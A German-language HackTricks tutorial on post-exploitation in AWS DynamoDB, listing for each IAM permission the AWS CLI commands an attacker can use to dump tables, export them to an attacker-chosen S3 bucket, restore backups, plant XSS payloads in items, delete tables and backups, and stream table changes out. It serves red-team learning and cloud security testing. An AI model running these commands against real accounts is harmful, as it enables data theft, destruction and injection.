AWS - DynamoDB Post Exploitation

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

DynamoDB

Für weitere Informationen überprüfen Sie:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

Ein Angreifer mit diesen Berechtigungen kann Elemente aus Tabellen anhand des Primärschlüssels abrufen (Sie können nicht einfach alle Daten der Tabelle anfordern). Dies bedeutet, dass Sie die Primärschlüssel kennen müssen (diese können Sie erhalten, indem Sie die Metadaten der Tabelle abrufen (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Auffinden sensibler Informationen in der Tabelle

dynamodb:GetItem

Ähnlich wie die vorherigen Berechtigungen ermöglicht diese Berechtigung einem potenziellen Angreifer das Lesen von Werten aus nur 1 Tabelle, wenn der Primärschlüssel des Eintrags zum Abrufen bekannt ist:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Mit dieser Berechtigung ist es auch möglich, die Methode transact-get-items zu verwenden, wie:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Auffinden sensibler Informationen in der Tabelle

dynamodb:Query

Ähnlich wie die vorherigen Berechtigungen ermöglicht diese Berechtigung einem potenziellen Angreifer das Lesen von Werten aus nur einer Tabelle anhand des Primärschlüssels des Eintrags, der abgerufen werden soll. Es erlaubt die Verwendung eines Teils der Vergleiche, aber der einzige erlaubte Vergleich mit dem Primärschlüssel (der erscheinen muss) ist "EQ", sodass kein Vergleich verwendet werden kann, um die gesamte Datenbank in einer Anfrage zu erhalten.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Auffinden sensibler Informationen in der Tabelle

dynamodb:Scan

Sie können diese Berechtigung verwenden, um die gesamte Tabelle einfach zu dumpen.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Auffinden sensibler Informationen in der Tabelle

dynamodb:PartiQLSelect

Sie können diese Berechtigung verwenden, um die gesamte Tabelle einfach zu dumpen.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Diese Berechtigung ermöglicht auch die Durchführung von batch-execute-statement wie:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

aber Sie müssen den Primärschlüssel mit einem Wert angeben, daher ist es nicht so nützlich.

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Auffinden sensibler Informationen in der Tabelle

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Diese Berechtigung ermöglicht es einem Angreifer, die gesamte Tabelle in einen von ihm gewählten S3-Bucket zu exportieren:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Beachten Sie, dass für dieses Verfahren die Tabelle die Point-in-Time-Wiederherstellung aktiviert haben muss. Sie können überprüfen, ob die Tabelle dies hat mit:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Wenn es nicht aktiviert ist, müssen Sie es aktivieren und dafür die Berechtigung dynamodb:ExportTableToPointInTime benötigen:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Auffinden sensibler Informationen in der Tabelle

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Mit diesen Berechtigungen könnte ein Angreifer eine neue Tabelle aus einem Backup erstellen (oder sogar ein Backup erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Anschließend könnte er mit den erforderlichen Berechtigungen Informationen aus den Backups überprüfen, die nicht mehr in der Produktionsdatenbank vorhanden sein könnten.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Auffinden sensibler Informationen in der Tabellensicherung

dynamodb:PutItem

Diese Berechtigung ermöglicht es Benutzern, ein neues Element zur Tabelle hinzuzufügen oder ein vorhandenes Element durch ein neues Element zu ersetzen. Wenn bereits ein Element mit demselben Primärschlüssel vorhanden ist, wird das gesamte Element durch das neue Element ersetzt. Wenn der Primärschlüssel nicht vorhanden ist, wird ein neues Element mit dem angegebenen Primärschlüssel erstellt.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potenzielle Auswirkungen: Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern

dynamodb:UpdateItem

Diese Berechtigung ermöglicht es Benutzern, die vorhandenen Attribute eines Elements zu ändern oder neue Attribute hinzuzufügen. Es ersetzt nicht das gesamte Element; es aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel in der Tabelle nicht existiert, wird der Vorgang ein neues Element erstellen mit dem angegebenen Primärschlüssel und die in dem Aktualisierungsausdruck angegebenen Attribute setzen.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Potenzielle Auswirkungen: Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern

dynamodb:DeleteTable

Ein Angreifer mit dieser Berechtigung kann eine DynamoDB-Tabelle löschen, was zu Datenverlust führt.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potenzielle Auswirkungen: Datenverlust und Störung von Diensten, die auf der gelöschten Tabelle basieren.

dynamodb:DeleteBackup

Ein Angreifer mit dieser Berechtigung kann ein DynamoDB-Backup löschen und somit potenziell Datenverlust in einem Katastrophenwiederherstellungsszenario verursachen.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potenzielle Auswirkungen: Datenverlust und Unfähigkeit, sich während eines Notfallwiederherstellungsszenarios von einem Backup zu erholen.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Überprüfen, ob dies tatsächlich funktioniert

Ein Angreifer mit diesen Berechtigungen kann einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, um Änderungen zu streamen, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen. Dies ermöglicht es dem Angreifer, Datenänderungen zu überwachen und abzuschöpfen, was potenziell zu Datenlecks führen kann.

  1. Aktivieren eines Streams auf einer DynamoDB-Tabelle:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Beschreiben Sie den Vorgang, um die ARN und andere Details zu erhalten:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Holen Sie den Shard-Iterator mithilfe des Stream-ARN:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Verwenden Sie den Shard-Iterator, um auf Daten im Stream zuzugreifen und sie zu exfiltrieren:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potenzielle Auswirkungen: Echtzeitüberwachung und Datenleckage der Änderungen an der DynamoDB-Tabelle.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated